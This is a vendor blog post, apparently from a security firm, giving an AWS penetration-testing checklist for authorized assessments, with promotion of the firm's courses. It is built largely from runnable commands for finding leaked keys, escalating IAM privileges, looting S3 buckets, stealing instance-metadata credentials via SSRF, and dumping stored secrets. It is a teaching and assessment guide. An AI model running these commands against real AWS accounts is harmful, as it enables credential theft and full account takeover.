Cloud environments have fundamentally changed how attackers approach infrastructure compromise. AWS, being the dominant cloud provider, has become a primary target for adversaries and a critical focus area for penetration testers. Unlike traditional network pentesting, AWS engagements require a different mindset, one that combines API abuse, misconfiguration exploitation, privilege escalation through IAM policies, and lateral movement across cloud-native services.
This AWS pentesting checklist is built for security professionals who want a structured, technical approach to assessing AWS environments. Whether you are conducting an authorized red team engagement or preparing for a cloud security assessment, this guide walks through each phase with practical commands and real-world techniques.
If you are looking to build hands-on expertise in this domain, the AWS Pentesting Course at Redfox Cybersecurity Academy is one of the most technically rigorous programs available, covering everything from credential abuse to post-exploitation.
Before touching any AWS API, you need credentials. The first step is reconnaissance to identify leaked or exposed keys.
Search for exposed credentials in GitHub repositories using tools like truffleHog or git-secrets:
trufflehog git https://github.com/target-org/target-repo --only-verified
[cta]
You can also grep for hardcoded keys in cloned repositories:
grep -rE "AKIA[0-9A-Z]{16}" ./target-repo/
grep -rE "aws_secret_access_key\s*=\s*[A-Za-z0-9/+=]{40}" ./target-repo/
[cta]
Look for exposed .env files, ~/.aws/credentials, CI/CD pipeline configs, Docker images, and public S3 buckets. Tools like cloud_enum can help identify publicly exposed assets:
python3 cloud_enum.py -k targetcompany --disable-azure --disable-gcp
[cta]
Once you have candidate credentials, verify them without triggering excessive logging:
aws sts get-caller-identity --access-key-id AKIA... --secret-access-key ...
[cta]
This returns the Account ID, User ID, and ARN, giving you immediate context about the identity you are operating as.
IAM is the backbone of AWS security. Misconfigurations here can lead to full account compromise. The cloud security assessment services at Redfox Cybersecurity include deep IAM analysis as a core component of every AWS engagement.
Use enumerate-iam to rapidly determine what permissions the current credentials have:
git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
pip3 install -r requirements.txt
python3 enumerate-iam.py --access-key AKIA... --secret-key ... --region us-east-1
[cta]
For a more targeted approach, check specific permissions manually:
aws iam get-user
aws iam list-attached-user-policies --user-name <username>
aws iam list-user-policies --user-name <username>
aws iam list-groups-for-user --user-name <username>
aws iam list-attached-group-policies --group-name <groupname>
[cta]
Once you understand the current permission set, look for privilege escalation opportunities. The tool Pacu is excellent for this:
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu
pip3 install -r requirements.txt
python3 pacu.py
[cta]
Inside Pacu, run the IAM privilege escalation module:
Pacu > run iam__privesc_scan
[cta]
Common escalation paths to check manually include:
# Check if user can attach admin policies to themselves
aws iam attach-user-policy --user-name <username> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Check if user can create a new access key for another user
aws iam create-access-key --user-name admin-user
# Check if user can pass a role to a Lambda function and invoke it
aws iam list-roles | grep -i admin
[cta]
Look for roles with overly permissive trust relationships:
aws iam list-roles --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]' --output json | python3 -m json.tool
[cta]
Look specifically for roles that trust "Principal": "*" or allow assume-role from all AWS accounts. These can sometimes be assumed without any additional conditions.
aws s3 ls
aws s3 ls s3://target-bucket-name --no-sign-request
aws s3 sync s3://target-bucket-name ./loot --no-sign-request
[cta]
For unauthenticated enumeration, use tools like s3scanner:
pip3 install s3scanner
s3scanner scan --buckets-file targets.txt
[cta]
aws s3api get-bucket-acl --bucket target-bucket
aws s3api get-bucket-policy --bucket target-bucket
aws s3api get-public-access-block --bucket target-bucket
[cta]
Misconfigured bucket policies that allow s3:GetObject to "Principal": "*" represent high-severity findings. Document all objects accessible without authentication.
If the application generates presigned URLs for object access, check whether those URLs can be manipulated to access other objects in the same bucket:
# Decode the presigned URL and analyze the X-Amz-SignedHeaders and X-Amz-Credential fields
curl "https://target-bucket.s3.amazonaws.com/file.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=..."
[cta]
The Instance Metadata Service is one of the most common attack vectors in AWS. If you have SSRF or code execution on an EC2 instance, query the metadata endpoint:
# IMDSv1 (no authentication required)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
[cta]
This returns temporary credentials (AccessKeyId, SecretAccessKey, Token) for the attached IAM role. These can be exfiltrated and used externally:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
[cta]
For IMDSv2 environments, a session token is required:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
[cta]
Overly permissive security groups are common misconfigurations:
aws ec2 describe-security-groups --query \
'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]].[GroupId,GroupName,IpPermissions]' \
--output json
[cta]
Flag any security groups allowing inbound SSH (22), RDP (3389), or database ports (3306, 5432, 1433, 27017) from 0.0.0.0/0.
Public EBS snapshots can expose sensitive data including database backups, source code, and credentials:
aws ec2 describe-snapshots --owner-ids <account-id> \
--query 'Snapshots[?Public==`true`].[SnapshotId,Description,StartTime]'
[cta]
To analyze a public snapshot:
# Create a volume from the public snapshot in your test account
aws ec2 create-volume --snapshot-id snap-xxxxxxxx --availability-zone us-east-1a
# Attach to your test EC2 and mount it
sudo mount /dev/xvdf1 /mnt/snapshot
ls /mnt/snapshot
[cta]
The penetration testing services at Redfox Cybersecurity regularly uncover exposed snapshots during cloud assessments, often containing database dumps with plaintext credentials and API keys.
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role]'
aws lambda get-function --function-name target-function
aws lambda get-function-configuration --function-name target-function
[cta]
Lambda environment variables frequently contain secrets:
aws lambda get-function-configuration --function-name target-function \
--query 'Environment.Variables'
[cta]
# Get the role ARN from function config
ROLE_ARN=$(aws lambda get-function-configuration \
--function-name target-function \
--query 'Role' --output text)
# Extract role name
ROLE_NAME=$(echo $ROLE_ARN | cut -d'/' -f2)
# Enumerate attached policies
aws iam list-attached-role-policies --role-name $ROLE_NAME
aws iam list-role-policies --role-name $ROLE_NAME
[cta]
Overprivileged Lambda roles are a critical finding. A function that only needs to write to DynamoDB should not have AdministratorAccess.
As a tester, confirm whether the organization has adequate logging. This also tells you what your actions will be captured:
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name <trail-name>
aws cloudtrail get-event-selectors --trail-name <trail-name>
[cta]
Check if data events (S3 object-level, Lambda invocations) are logged, not just management events. Most organizations only log management events, leaving significant blind spots.
aws guardduty list-detectors
aws guardduty get-detector --detector-id <detector-id>
[cta]
A disabled or unconfigured GuardDuty detector is a significant finding. Document master-member relationships and any suppression rules that may be hiding malicious activity.
aws iam list-roles --query \
'Roles[*].[RoleName,AssumeRolePolicyDocument.Statement[*].Principal]' \
--output json | python3 -m json.tool
[cta]
Look for roles that trust external account IDs. If any of those accounts are compromised, lateral movement into this account becomes trivial.
aws sts assume-role \
--role-arn arn:aws:iam::<target-account-id>:role/<role-name> \
--role-session-name pentest-session
[cta]
Check resource-based policies on services like SQS, SNS, KMS, and Secrets Manager for overly permissive configurations:
aws secretsmanager get-resource-policy --secret-id <secret-name>
aws kms get-key-policy --key-id <key-id> --policy-name default
aws sqs get-queue-attributes --queue-url <url> --attribute-names Policy
[cta]
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <secret-name>
aws ssm describe-parameters
aws ssm get-parameter --name <param-name> --with-decryption
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
[cta]
Any secrets accessible with the current credentials that should not be should be documented as findings.
aws rds describe-db-instances \
--query 'DBInstances[?PubliclyAccessible==`true`].[DBInstanceIdentifier,Endpoint.Address]'
[cta]
Publicly accessible RDS instances with weak credentials or default configurations represent critical findings.
AWS penetration testing is fundamentally different from traditional infrastructure assessments. The attack surface spans IAM trust chains, misconfigured storage, compute metadata exploitation, serverless functions, and complex cross-account relationships. Working through this checklist systematically ensures you cover the most impactful attack paths that real adversaries actively exploit.
For security teams looking to build internal cloud security capabilities, the AWS Pentesting Course at Redfox Cybersecurity Academy provides a hands-on curriculum that mirrors real-world engagement scenarios, from initial reconnaissance through full account compromise and reporting.
For organizations seeking an external assessment of their AWS environments, the cloud penetration testing services at Redfox Cybersecurity offer structured engagements tailored to AWS-native attack surfaces, helping you identify critical misconfigurations before adversaries do.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
